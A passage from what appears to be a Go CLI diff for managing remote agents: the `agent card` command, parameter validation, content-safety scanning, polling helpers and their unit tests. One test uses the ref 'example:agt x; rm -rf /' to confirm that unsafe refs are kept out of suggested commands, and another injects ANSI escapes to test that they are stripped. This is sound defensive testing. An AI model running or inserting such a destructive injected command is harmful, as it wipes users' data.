Long: "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentCardRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentCardRun resolves the provider addressed by ref and emits its capability
// card. The card is first-party static data (not agent-generated content), so
// it bypasses content-safety scanning. The JSON success envelope is the
// default; --format pretty opts into the human-readable listing. A --jq
// expression forces JSON (jq operates on the envelope) and, when present,
// filters stdout.
func agentCardRun(opts *cardOptions) error {
f := opts.Factory
// Card synthesis is API-free, so resolve without requiring a
// configured client: `agent card` must work offline / before config init.
p, id, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
r, err := iagent.ParseRef(opts.Ref)
if err != nil {
return wrapRefResolveError(err)
}
card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
if err != nil {
return err
}
jq := jqExpr(opts.Cmd)
// pretty is a human view only; a --jq expression implies structured JSON,
// so it takes precedence over the pretty format.
if opts.Format == "pretty" && jq == "" {
printCardPretty(f.IOStreams.Out, card)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: card,
Notice: output.GetNotice(),
}
if jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// printCardPretty writes a compact human-readable view of an agent card:
// identity header (with per-identity preconditions), the sorted capability
// matrix, declared parameters and skills — the key constraints an AI reads
// from json must also be visible to a human. Remote cards carry
// agent-controlled Name/Description/Desc
// strings, so every such field is ANSI-stripped before hitting the terminal.
// Nil cards degrade to a placeholder line rather than panicking.
func printCardPretty(w io.Writer, card *iagent.AgentCard) {
if card == nil {
fmt.Fprintln(w, "(no card)")
return
}
// Dynamic cards carry a Name; static cards fall back to the provider label.
name := card.Name
if name == "" {
name = card.ProviderLabel
}
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
if card.Description != "" {
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
}
if len(card.Identity) > 0 {
ids := make([]string, 0, len(card.Identity))
for _, spec := range card.Identity {
id := string(spec.Type)
if spec.Precondition != "" {
id += "(前置: " + stripANSI(spec.Precondition) + ""
}
ids = append(ids, id)
}
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
}
fmt.Fprintln(w, " capabilities:")
// Capabilities is a closed struct; iterate in fixed alphabetical key order,
// matching the sorted output of the earlier map-based representation.
for _, k := range []string{
iagent.CapArtifactDownload,
iagent.CapFileInput,
iagent.CapInputRequired,
iagent.CapMultiTurn,
iagent.CapTaskCancel,
iagent.CapTaskGet,
iagent.CapTaskList,
} {
mark := "no"
if card.Supports(k) {
mark = "yes"
}
fmt.Fprintf(w, " %-20s %s\n", k, mark)
}
if len(card.Parameters) > 0 {
fmt.Fprintln(w, " parameters:")
for _, pr := range card.Parameters {
req := ""
if pr.Required {
req = " (required)"
}
fmt.Fprintf(w, " %s: %s%s", pr.Name, pr.Type, req)
if pr.Desc != "" {
fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
}
fmt.Fprintln(w)
}
}
if len(card.Skills) > 0 {
fmt.Fprintln(w, " skills:")
for _, sk := range card.Skills {
name := sk.Name
if name == "" {
name = sk.ID
}
fmt.Fprintf(w, " %s\n", stripANSI(name))
}
}
}

View File

@@ -1,286 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"context"
"encoding/json"
"strings"
"testing"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// cardTestOpts builds a cardOptions driving agentCardRun against a real
// (test) Factory. The example card is synthesized statically, so no API call
// is made and stdout carries the capability card envelope.
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
t.Helper()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
}
// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
// returns the statically synthesized capability card (no API), with
// task_cancel gated off and multi_turn on, and the agent_id echoed from the
// ref.
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should be statically synthesized and not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v", err)
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be a card object, got %T", env.Data)
}
if data["agent_id"] != "echo" {
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
}
if data["provider"] != "example" {
t.Errorf("provider should be example, got %v", data["provider"])
}
// source was removed from the card (schema tightening).
if _, present := data["source"]; present {
t.Errorf("card should no longer carry a source field, got %v", data["source"])
}
caps, ok := data["capabilities"].(map[string]interface{})
if !ok {
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
}
if caps["task_cancel"] != false {
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
}
if caps["multi_turn"] != true {
t.Errorf("echo multi_turn should be true, got %v", caps["multi_turn"])
}
// parameters / identity must serialize as non-null (guard against omitempty
// regression): parameters is always an array (empty [] for example),
// identity is a non-empty array.
if params, ok := data["parameters"].([]interface{}); !ok {
t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
} else if len(params) != 0 {
t.Errorf("example parameters should be an empty array, got %v", params)
}
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
}
// card no longer exposes scope: the required_scopes field was removed from
// AgentCard (scope is an internal registration item used only for preflight).
if _, present := data["required_scopes"]; present {
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
}
}
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
// since the json default flip), the card renders as a human-readable listing.
// The output must surface the identity and capability names in plain text so
// the stream is not valid envelope JSON.
func TestAgentCardRun_PrettyFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card pretty should not error: %v", err)
}
text := string(out.Bytes())
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.Contains(text, "echo") {
t.Errorf("pretty output should contain agent_id: %s", text)
}
// multi_turn is a declared capability of the echo card; it must appear.
if !strings.Contains(text, "multi_turn") {
t.Errorf("pretty output should list capabilities: %s", text)
}
}
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
func TestAgentCardRun_JSONFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "json"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card json should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must actually be REGISTERED on `agent card` (the run path already
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
// the real command so registration + consumption are proven together.
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := NewCmdAgentCard(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
if err := cmd.Execute(); err != nil {
t.Fatalf("card --jq should not error: %v", err)
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
}
}
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
// line instead of panicking (card.go nil branch).
func TestPrintCardPretty_NilCard(t *testing.T) {
out := &bytes.Buffer{}
printCardPretty(out, nil)
if !strings.Contains(out.String(), "(no card)") {
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
}
}
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
// the pretty renderer that a minimal static card omits: the dynamic-card Name
// (taking precedence over ProviderLabel), Description, declared Parameters, and
// the Skills block (both the named skill and the id-fallback when Name is empty).
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
card := &iagent.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
AgentID: "agt_demo",
Description: "a helpful demo agent",
Identity: []iagent.IdentitySpec{
{Type: "user"},
{Type: "bot", Precondition: "需加入渠道白名单"},
},
Capabilities: iagent.Capabilities{
MultiTurn: true,
TaskCancel: false,
},
Parameters: []iagent.CardParam{
{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
},
Skills: []iagent.CardSkill{
{ID: "sk_1", Name: "Sales Analysis"},
{ID: "sk_2"}, // no Name → falls back to ID
},
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
for _, want := range []string{
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
"a helpful demo agent", // Description branch
"identity: user, bot", // IdentitySpec types are joined
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
"locale", // Parameters branch
"skills:", // Skills block header
"Sales Analysis", // skill with a Name
"sk_2", // skill without a Name → id fallback
} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
}
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
// terminal (this sanitization is applied to every pretty surface).
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
card := &iagent.AgentCard{
Provider: "demo",
AgentID: "agt_demo",
Name: "\x1b[31mEvil\x1b[0m Agent",
Description: "desc\x1b[2Jwipe",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
}
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
t.Errorf("readable text should remain after stripping, got: %q", text)
}
}
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
// (no dynamic Name) renders its ProviderLabel as the header.
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
card := &iagent.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
AgentID: "agt_demo",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
}
}
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
// before any provider is built.
func TestAgentCardRun_InvalidRef(t *testing.T) {
opts, _ := cardTestOpts(t, "no-colon")
if err := agentCardRun(opts); err == nil {
t.Fatal("malformed ref should error")
}
}
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
// presence of --format and --as flags.
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentCard(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agent card with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agent card should have a --format flag")
}
// Default output format is unified: card default flips from pretty to json.
if fl.DefValue != "json" {
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("as") == nil {
t.Error("agent card should have an --as flag")
}
}

View File

@@ -1,314 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agent implements the `agent` command tree: a provider-agnostic
// surface over remote A2A agents. This file holds the shared
// command-layer helpers: ref→provider resolution, --param validation against a
// Card, success-envelope emission, capability gating, and wait/watch polling.
package agent
import (
"context"
"errors"
"fmt"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// supportedIdentities is the identity whitelist enforced for every agent
// command; provider cards advertise (a subset of) the same set.
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
// until ctx is done, returning true if the full duration elapsed and false if
// ctx was canceled first. Tests swap it for a no-op.
var sleep = func(ctx context.Context, d time.Duration) bool {
t := time.NewTimer(d)
defer t.Stop()
select {
case <-t.C:
return true
case <-ctx.Done():
return false
}
}
// resolveProviderNoClient resolves the effective identity, enforces the
// user|bot whitelist, and constructs the Provider addressed by ref WITHOUT
// requiring a configured API client. It is the resolution path for the
// API-free operations that always work — `agent card` (static synthesis) and
// `agent send --dry-run` (client-side preview) — so they succeed even before
// `lark-cli config init`. The provider's client is nil; only API-free methods
// (Card) may be called on it. A malformed ref or unknown provider scheme is
// wrapped into a validation typed error (subtype invalid_argument, exit 2), so
// those surface before (not behind) the config gate.
func resolveProviderNoClient(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
return nil, "", err
}
p, err := iagent.Resolve(ref, iagent.Deps{As: id})
if err != nil {
// ParseRef / unknown-scheme errors already carry the validation wording;
// promote them to a typed validation error (with a recovery hint)
// so RunE never returns a bare error and the exit code / subtype are
// stable.
return nil, "", wrapRefResolveError(err)
}
return p, id, nil
}
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
// validation typed error (subtype invalid_argument, exit 2) and attaches the
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
// shape; an unknown scheme points at `agent list` to discover the available
// providers. Both hints are copy-pasteable next steps, not just wording.
func wrapRefResolveError(err error) error {
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
if errors.Is(err, iagent.ErrInvalidRef) {
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
}
return e.WithHint("用 lark-cli agent list 查看可用 provider")
}
// resolveProvider resolves the identity and constructs the Provider addressed
// by ref backed by a configured API client, for commands that actually call the
// remote API. Ref/scheme validation runs first (via resolveProviderNoClient) so
// a malformed ref or unknown scheme is a validation error (exit 2) surfaced
// BEFORE the config gate — an unconfigured user still gets the precise error,
// not not_configured. Only after the ref is valid does it require a
// configured client (not_configured / exit 3 is correct for a real API call).
//
// Wiring rule: every verb that calls the real API MUST run preflightScopesForRef
// right after this succeeds and before the API call, so a new verb is
// never silently exempt from the local scope preflight.
func resolveProvider(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
_, id, err := resolveProviderNoClient(f, cmd, ref, asStr)
if err != nil {
return nil, "", err
}
apiClient, err := f.NewAPIClient()
if err != nil {
return nil, "", err
}
p, err := iagent.Resolve(ref, iagent.Deps{Client: apiClient, As: id})
if err != nil {
return nil, "", wrapRefResolveError(err)
}
return p, id, nil
}
// cardHint builds the "check the agent card" hint. The ref is user-echoed
// input: when it passes the safeNextRef whitelist the hint carries the
// copy-pasteable command; otherwise it degrades to plain guidance without any
// interpolated command (a ref containing spaces would make the command
// non-copy-pasteable, and the hint is what an AI copies verbatim).
func cardHint(ref, what string) string {
if safeNextRef(ref) {
return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
}
return fmt.Sprintf("查看该 agent 的能力卡片agent card 命令)确认%s", what)
}
// parseAndValidateParams parses `key=value` --param pairs and validates them
// against the card's Parameters declaration: every Required parameter must be
// present, and every provided key must be declared (an undeclared key
// would otherwise be silently dropped by the provider). A pair without '=' (or
// an empty key), a missing required parameter, or an unknown key returns a
// validation typed error (subtype invalid_argument, param "param:<key>")
// whose hint points at `agent card <ref>`. A nil card skips both
// card-driven checks.
func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
m := make(map[string]string, len(kvs))
for _, kv := range kvs {
k, v, ok := strings.Cut(kv, "=")
if !ok || k == "" {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--param 格式应为 key=value得到 %q", kv).
WithParam("--param").
WithHint("以 --param key=value 形式重发")
}
m[k] = v
}
if card != nil {
declared := make(map[string]bool, len(card.Parameters))
for _, p := range card.Parameters {
declared[p.Name] = true
}
// Unknown keys are checked in input order so the reported key is
// deterministic when several are undeclared.
for _, kv := range kvs {
k, _, _ := strings.Cut(kv, "=")
if !declared[k] {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知参数 %s该 agent 未声明此参数)", k).
WithParam("param:"+k).
WithHint("%s", cardHint(ref, " parameters 声明"))
}
}
for _, p := range card.Parameters {
if !p.Required {
continue
}
if _, ok := m[p.Name]; !ok {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"缺少必填参数 %s该 agent 要求)", p.Name).
WithParam("param:"+p.Name).
WithHint("%s", cardHint(ref, " parameters 声明"))
}
}
}
return m, nil
}
// emitTask writes a task result: the standard success envelope carrying
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
// the key:value human view. Because the agent's messages/artifacts are
// untrusted external content, the payload is run through content-safety
// scanning before emission on BOTH paths (and the pretty path additionally
// ANSI-strips agent text). A --jq expression, when the leaf command registers
// one, implies structured JSON and filters stdout.
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
out := f.IOStreams.Out
errOut := f.IOStreams.ErrOut
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
if scan.Blocked {
return scan.BlockErr
}
if format == "pretty" && jqExpr(cmd) == "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
printTaskPretty(out, task)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: task,
Notice: output.GetNotice(),
}
if len(next) > 0 {
env.Meta = &output.Meta{Next: next}
}
if scan.Alert != nil {
env.ContentSafetyAlert = scan.Alert
}
if jq := jqExpr(cmd); jq != "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
return output.JqFilter(out, env, jq)
}
output.PrintJson(out, env)
return nil
}
// jqExpr reads the --jq flag value if the leaf command registered one; absent
// otherwise.
func jqExpr(cmd *cobra.Command) string {
if cmd == nil { // options structs built directly in tests may carry no Cmd
return ""
}
if f := cmd.Flags().Lookup("jq"); f != nil {
return f.Value.String()
}
return ""
}
// capabilityError returns the unsupported_capability validation error (exit 2)
// used for capability gating: capHuman is the human-facing action (e.g.
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
// interpolates ref only when it passes the whitelist (cardHint).
func capabilityError(ref, capHuman, capKey string) error {
return errs.NewValidationError(
errs.SubtypeUnsupportedCapability,
"agent '%s' 不支持 '%s'capability %s=false", ref, capHuman, capKey,
).WithHint("%s", cardHint(ref, "支持的能力"))
}
// normalizeTask derives the redundant IsTerminal flag from State — the single
// source of truth — the moment a task enters the command layer, so a provider
// that forgets (or mis-fills) the flag can never skew watch exit codes or an
// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
if t != nil {
t.IsTerminal = t.State.IsTerminal()
}
return t
}
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
// single-source rule as normalizeTask), returning the slice for chaining.
func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
for i := range ts {
ts[i].IsTerminal = ts[i].State.IsTerminal()
}
return ts
}
// pollToStop polls GetTask with exponential backoff (1s → 5s cap) until the
// task hits a stop condition (terminal, input_required, or auth_required)
// or ctx is done. A timeout is not a failure: it returns the most recent
// task with a nil error, letting the caller print the current state (exit 0). A
// provider GetTask error is surfaced.
func pollToStop(ctx context.Context, p *iagent.Provider, taskID string) (*iagent.AgentTask, error) {
const (
initialDelay = time.Second
maxDelay = 5 * time.Second
)
var last *iagent.AgentTask
delay := initialDelay
for {
task, err := p.GetTask(ctx, taskID)
if err != nil {
return last, err
}
last = task
if task.State.ShouldStopPolling() {
return task, nil
}
if ctx.Err() != nil {
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
}
if !sleep(ctx, delay) {
// ctx canceled during backoff → observation window closed, not a
// task failure.
return last, nil
}
if delay < maxDelay {
if delay *= 2; delay > maxDelay {
delay = maxDelay
}
}
}
}
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
// a non-successful terminal state (failed/rejected/canceled) yields a
// silent exit-1 signal; any other state (including a successful terminal or a
// non-terminal stop like input_required) yields nil. A nil task yields nil.
func semanticExitError(task *iagent.AgentTask) error {
if task == nil || !task.IsTerminal {
return nil
}
switch task.State {
case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
return output.ErrBare(1)
default:
return nil
}
}

View File

@@ -1,798 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"context"
"encoding/json"
"errors"
"strings"
"testing"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
extcs "github.com/larksuite/cli/extension/contentsafety"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
func TestValidateParamsAgainstCard(t *testing.T) {
// Card mixes a required and an optional param so both loop branches run:
// the optional param must be skipped (the `!p.Required continue` path) while
// the required one is still enforced.
card := &iagent.AgentCard{Parameters: []iagent.CardParam{
{Name: "app_id", Required: true},
{Name: "locale", Required: false},
}}
// missing required
if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
t.Error("missing required app_id should error")
}
// provide required, omit optional: the optional param is skipped and must not error
m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
if err != nil || m["app_id"] != "app_sales" {
t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
}
if _, ok := m["locale"]; ok {
t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
}
// invalid format
if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
t.Error("--param without = should error")
}
}
// TestParseParams_ValueWithEquals ensures values may themselves contain '='
// (only the first '=' splits key from value).
func TestParseParams_ValueWithEquals(t *testing.T) {
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
if err != nil {
t.Fatalf("a value containing = should not error: %v", err)
}
if m["filter"] != "a=b" {
t.Fatalf("value should preserve =, got %q", m["filter"])
}
}
// TestParseParams_EmptyKey rejects an empty key (leading '=').
func TestParseParams_EmptyKey(t *testing.T) {
if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
t.Error("empty key should error")
}
}
// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
// card's Parameters is a validation error (subtype invalid_argument, param
// "param:<key>") whose hint points at `agent card`; a declared optional key
// still passes.
func TestParseParams_UnknownKeyRejected(t *testing.T) {
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
if err != nil || m["foo"] != "1" {
t.Fatalf("a declared optional param should pass: %v %v", m, err)
}
_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
if err == nil {
t.Fatal("an undeclared --param should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "param:bar" {
t.Fatalf("param should be param:bar, got %+v", verr)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(p.Hint, "agent card example:agt_x") {
t.Fatalf("hint should point to agent card, got %q", p.Hint)
}
}
// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
func TestParseParams_NilCard(t *testing.T) {
m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
if err != nil || m["k"] != "v" {
t.Fatalf("nil card should parse normally: %v %v", m, err)
}
}
// TestParseParams_MissingRequiredIsValidation confirms the missing-required
// error is a validation typed error with subtype invalid_argument, its param
// carries the param: prefix, and its hint points at agent card (Task 2 review
// leftover).
func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
if err == nil {
t.Fatal("missing required should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "param:app_id" {
t.Fatalf("param should be param:app_id, got %+v", verr)
}
if !strings.Contains(p.Hint, "agent card example:agt_x") {
t.Fatalf("hint should point to agent card, got %q", p.Hint)
}
}
// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
// echoed into the hint command; the hint degrades to plain guidance instead.
func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
dirtyRef := "example:agt x; rm -rf /"
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
_, err := parseAndValidateParams([]string{}, card, dirtyRef)
if err == nil {
t.Fatal("missing required should error")
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Hint == "" {
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
}
if strings.Contains(p.Hint, dirtyRef) {
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
}
// the unknown-param path is handled the same way.
_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
if err == nil {
t.Fatal("an undeclared param should error")
}
p, _ = errs.ProblemOf(err)
if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
}
}
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
p, ok := errs.ProblemOf(err)
if !ok || p.Hint == "" {
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
}
if strings.Contains(p.Hint, "example:agt x") {
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
}
}
// TestCapabilityError pins the unsupported_capability contract.
func TestCapabilityError(t *testing.T) {
err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
if err == nil {
t.Fatal("should return an error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
}
}
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
